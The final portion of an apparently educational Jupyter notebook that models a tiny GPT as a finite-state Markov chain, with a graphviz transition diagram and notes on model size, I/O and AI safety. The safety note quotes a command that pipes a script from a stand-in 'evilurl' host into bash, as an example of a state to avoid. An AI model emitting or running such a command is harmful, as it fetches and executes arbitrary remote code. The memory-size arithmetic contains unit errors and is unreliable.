class=\"edge\">\n<title>10&#45;&gt;01</title>\n<path fill=\"none\" stroke=\"black\" d=\"M380.22,-209.8C350.78,-239.77 291.73,-309.86 263.62,-347.93\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"260.5,-346.27 257.49,-356.43 266.18,-350.37 260.5,-346.27\"/>\n<text text-anchor=\"middle\" x=\"300.92\" y=\"-267.66\" font-family=\"Times,serif\" font-size=\"14.00\">1(32%)</text>\n</g>\n<!-- 10&#45;&gt;02 -->\n<g id=\"edge12\" class=\"edge\">\n<title>10&#45;&gt;02</title>\n<path fill=\"none\" stroke=\"black\" d=\"M391.01,-178.12C384.13,-159.21 373.11,-128.94 365.11,-106.96\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"368.39,-105.71 361.68,-97.51 361.81,-108.11 368.39,-105.71\"/>\n<text text-anchor=\"middle\" x=\"357.06\" y=\"-146.34\" font-family=\"Times,serif\" font-size=\"14.00\">2(27%)</text>\n</g>\n<!-- 11&#45;&gt;10 -->\n<g id=\"edge13\" class=\"edge\">\n<title>11&#45;&gt;10</title>\n<path fill=\"none\" stroke=\"black\" d=\"M147.5,-340.04C195.25,-312.47 312.88,-244.55 368.02,-212.72\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"370.02,-215.6 376.93,-207.57 366.52,-209.54 370.02,-215.6\"/>\n<text text-anchor=\"middle\" x=\"236.76\" y=\"-280.18\" font-family=\"Times,serif\" font-size=\"14.00\">0(31%)</text>\n</g>\n<!-- 11&#45;&gt;11 -->\n<g id=\"edge14\" class=\"edge\">\n<title>11&#45;&gt;11</title>\n<path fill=\"none\" stroke=\"black\" d=\"M152.15,-358.73C162.73,-359.19 171.7,-356.96 171.7,-352.04 171.7,-348.81 167.84,-346.74 162.19,-345.83\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"162.3,-342.33 152.15,-345.35 161.97,-349.32 162.3,-342.33\"/>\n<text text-anchor=\"middle\" x=\"192.7\" y=\"-348.34\" font-family=\"Times,serif\" font-size=\"14.00\">1(42%)</text>\n</g>\n<!-- 11&#45;&gt;12 -->\n<g id=\"edge15\" class=\"edge\">\n<title>11&#45;&gt;12</title>\n<path fill=\"none\" stroke=\"black\" d=\"M120.21,-334.2C106.34,-296.09 73.75,-206.56 57.27,-161.27\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"60.53,-159.99 53.82,-151.79 53.95,-162.39 60.53,-159.99\"/>\n<text text-anchor=\"middle\" x=\"109.74\" y=\"-236.53\" font-family=\"Times,serif\" font-size=\"14.00\">2(27%)</text>\n</g>\n<!-- 12&#45;&gt;20 -->\n<g id=\"edge16\" class=\"edge\">\n<title>12&#45;&gt;20</title>\n<path fill=\"none\" stroke=\"black\" d=\"M60.81,-117.97C73.43,-102.93 92.44,-80.27 106.81,-63.15\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"109.7,-65.15 113.44,-55.24 104.33,-60.65 109.7,-65.15\"/>\n<text text-anchor=\"middle\" x=\"62.81\" y=\"-94.36\" font-family=\"Times,serif\" font-size=\"14.00\">0(29%)</text>\n</g>\n<!-- 12&#45;&gt;21 -->\n<g id=\"edge17\" class=\"edge\">\n<title>12&#45;&gt;21</title>\n<path fill=\"none\" stroke=\"black\" d=\"M42.42,-151.96C40.31,-172.26 40.03,-205.57 41.58,-229.33\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"38.11,-229.82 42.42,-239.49 45.08,-229.24 38.11,-229.82\"/>\n<text text-anchor=\"middle\" x=\"21\" y=\"-194.45\" font-family=\"Times,serif\" font-size=\"14.00\">1(30%)</text>\n</g>\n<!-- 12&#45;&gt;22 -->\n<g id=\"edge18\" class=\"edge\">\n<title>12&#45;&gt;22</title>\n<path fill=\"none\" stroke=\"black\" d=\"M68.1,-122.03C103.99,-101.31 177.76,-58.72 218.91,-34.96\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"220.74,-37.94 227.65,-29.91 217.24,-31.88 220.74,-37.94\"/>\n<text text-anchor=\"middle\" x=\"122.5\" y=\"-82.3\" font-family=\"Times,serif\" font-size=\"14.00\">2(40%)</text>\n</g>\n<!-- 20&#45;&gt;00 -->\n<g id=\"edge19\" class=\"edge\">\n<title>20&#45;&gt;00</title>\n<path fill=\"none\" stroke=\"black\" d=\"M139.98,-55.26C178.39,-101.03 289.83,-233.84 335.41,-288.17\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"332.78,-290.48 341.89,-295.89 338.15,-285.98 332.78,-290.48\"/>\n<text text-anchor=\"middle\" x=\"258.7\" y=\"-175.51\" font-family=\"Times,serif\" font-size=\"14.00\">0(40%)</text>\n</g>\n<!-- 20&#45;&gt;01 -->\n<g id=\"edge20\" class=\"edge\">\n<title>20&#45;&gt;01</title>\n<path fill=\"none\" stroke=\"black\" d=\"M133.24,-57.4C153.33,-112.58 214.24,-279.93 238.33,-346.12\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"235.16,-347.64 241.86,-355.84 241.73,-345.24 235.16,-347.64\"/>\n<text text-anchor=\"middle\" x=\"164.78\" y=\"-205.56\" font-family=\"Times,serif\" font-size=\"14.00\">1(32%)</text>\n</g>\n<!-- 20&#45;&gt;02 -->\n<g id=\"edge21\" class=\"edge\">\n<title>20&#45;&gt;02</title>\n<path fill=\"none\" stroke=\"black\" d=\"M150.83,-48.16C190.76,-58.13 270.85,-72.48 318.05,-78.35\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"317.82,-81.85 328.16,-79.53 318.63,-74.89 317.82,-81.85\"/>\n<text text-anchor=\"middle\" x=\"213.44\" y=\"-67.05\" font-family=\"Times,serif\" font-size=\"14.00\">2(27%)</text>\n</g>\n<!-- 21&#45;&gt;10 -->\n<g id=\"edge22\" class=\"edge\">\n<title>21&#45;&gt;10</title>\n<path fill=\"none\" stroke=\"black\" d=\"M73.66,-252.83C135.52,-241.92 290.3,-214.63 361.07,-202.15\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"362.05,-205.53 371.29,-200.35 360.83,-198.64 362.05,-205.53\"/>\n<text text-anchor=\"middle\" x=\"196.37\" y=\"-231.29\" font-family=\"Times,serif\" font-size=\"14.00\">0(31%)</text>\n</g>\n<!-- 21&#45;&gt;11 -->\n<g id=\"edge23\" class=\"edge\">\n<title>21&#45;&gt;11</title>\n<path fill=\"none\" stroke=\"black\" d=\"M60.81,-273.51C73.43,-288.55 92.44,-311.21 106.81,-328.33\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"104.33,-330.82 113.44,-336.24 109.7,-326.33 104.33,-330.82\"/>\n<text text-anchor=\"middle\" x=\"62.81\" y=\"-304.72\" font-family=\"Times,serif\" font-size=\"14.00\">1(41%)</text>\n</g>\n<!-- 21&#45;&gt;12 -->\n<g id=\"edge24\" class=\"edge\">\n<title>21&#45;&gt;12</title>\n<path fill=\"none\" stroke=\"black\" d=\"M52.28,-239.52C54.38,-219.22 54.66,-185.91 53.12,-162.15\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"56.59,-161.66 52.28,-151.98 49.61,-162.24 56.59,-161.66\"/>\n<text text-anchor=\"middle\" x=\"73.7\" y=\"-204.63\" font-family=\"Times,serif\" font-size=\"14.00\">2(27%)</text>\n</g>\n<!-- 22&#45;&gt;20 -->\n<g id=\"edge25\" class=\"edge\">\n<title>22&#45;&gt;20</title>\n<path fill=\"none\" stroke=\"black\" d=\"M221.9,-22.65C204.7,-25.69 182.01,-29.69 163.09,-33.02\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"162.28,-29.61 153.03,-34.8 163.49,-36.51 162.28,-29.61\"/>\n<text text-anchor=\"middle\" x=\"192.5\" y=\"-16.64\" font-family=\"Times,serif\" font-size=\"14.00\">0(30%)</text>\n</g>\n<!-- 22&#45;&gt;21 -->\n<g id=\"edge26\" class=\"edge\">\n<title>22&#45;&gt;21</title>\n<path fill=\"none\" stroke=\"black\" d=\"M235.1,-33.71C200.68,-74.73 107.97,-185.22 67.13,-233.9\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"64.33,-231.79 60.58,-241.7 69.69,-236.29 64.33,-231.79\"/>\n<text text-anchor=\"middle\" x=\"130.11\" y=\"-137.6\" font-family=\"Times,serif\" font-size=\"14.00\">1(30%)</text>\n</g>\n<!-- 22&#45;&gt;22 -->\n<g id=\"edge27\" class=\"edge\">\n<title>22&#45;&gt;22</title>\n<path fill=\"none\" stroke=\"black\" d=\"M273.73,-24.69C284.31,-25.15 293.29,-22.92 293.29,-18 293.29,-14.77 289.42,-12.7 283.77,-11.79\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"283.88,-8.29 273.73,-11.31 283.55,-15.28 283.88,-8.29\"/>\n<text text-anchor=\"middle\" x=\"314.29\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">2(40%)</text>\n</g>\n</g>\n</svg>\n",
            "text/plain": [
              "<graphviz.graphs.Digraph at 0x7f4d6893a0a0>"
            ]
          },
          "metadata": {},
          "execution_count": 14
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "Looks cool! Not sure where I was going with that though. So let's wrap up:"
      ],
      "metadata": {
        "id": "GkcjENco5NpB"
      }
    },
    {
      "cell_type": "markdown",
      "source": [
        "## Notes\n",
        "\n",
        "**Realistic sizes:** The above was a binary GPT over 3 tokens. In practice, the vocabulary size is not 2 but e.g. more like 50,000. And we don't take 3 token sequences, but a typical context length could be ~2048 or even all the way up to ~32,000.\n",
        "\n",
        "**Computers:** Computers are similar, but more of a finite state machine instead of a finite state markov chain. They have memory that stores bits. Bits are discrete. And the CPU defines the transition table. However, computers are ~deterministic dynamical systems so the outbound arrows have probabilities all zero except for the one next state. Unlike this, GPT is a very different kind of computer architecture that is stochastic by default, and computes over tokens, not bits. That said, it is trivially possible to make a GPT into a finite state machine as well by sampling at zero temperature. That means that we always greedily pick the most likely token to come next, without flipping any biased coins. One could even be less greedy and run beam search. However, losing all that entropy during sampling has adverse effects on benchmarks and the qualitative look and feel of the samples (they look very \"safe\", boring), so this is not typically done in practice.\n",
        "\n",
        "**Size comparion:** [This good post](https://www.lesswrong.com/posts/7qSHKYRnqyrumEfbt) pointed out a size comparison between GPT computers and computer computers, e.g.:\n",
        "\n",
        "- GPT-2 has 50,257 tokens and context length of 2048 tokens. So `log2(50,257) * 2048 = 31,984 bits per state = 3,998 kB. Thats' enough to [get to the moon](https://www.digitec.ch/en/page/apollo-11-to-the-moon-with-4-kb-of-ram-12707).\n",
        "- GPT-3 has context length of 4096, so 8kB of memory; Roughly an [Atari 800](https://en.wikipedia.org/wiki/Atari_8-bit_family).\n",
        "- GPT-4 is up to 32K tokens so roughly 64kB, i.e. a [Commodore64](https://en.wikipedia.org/wiki/Commodore_64).\n",
        "\n",
        "**I/O devices:** All of the Finite State Machine analysis breaks down once you start to include Input devices that connect to the outside world. In a computer that could be a mouse or a keyboard. In GPT land this would be any kind of external tool use. E.g. Microsoft Bing is able to run retrieval queries to fetch outside information and incorporate it as an input.\n",
        "\n",
        "**AI Safety:** What is safety viewed through the lens of GPTs as a Finite State Markov Chain? It is the elimination of all probability of transitioning to naughty states. E.g. states that end with the token sequence `[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]`. This sequence of tokens encodes for `curl -s https://evilurl.com/pwned.sh | bash`. In a larger environment where those tokens might end up getting executed in a Terminal that would be problematic. More generally you could imagine that some portion of the state space is \"colored red\" for undesirable states that we never want to transition to. There is a very large collection of these and they are hard to explicitly enumerate, so simple ways of one-off \"blocking them\" is not satisfying. The GPT model itself must *know* based on training data and the inductive bias of the Transformer that those states should be transitioned to with effectively 0% probability. And if the probability isn't sufficiently small (e.g. < 1e-100?), then in large enough deployments (which might have temperature > 0, and might not use `topp` / `topk` sampling hyperparameters that force clamp low probability transitions to exactly zero) you could imagine stumbling into them by chance."
      ],
      "metadata": {
        "id": "xQmrWAhT6mkK"
      }
    }
  ]
}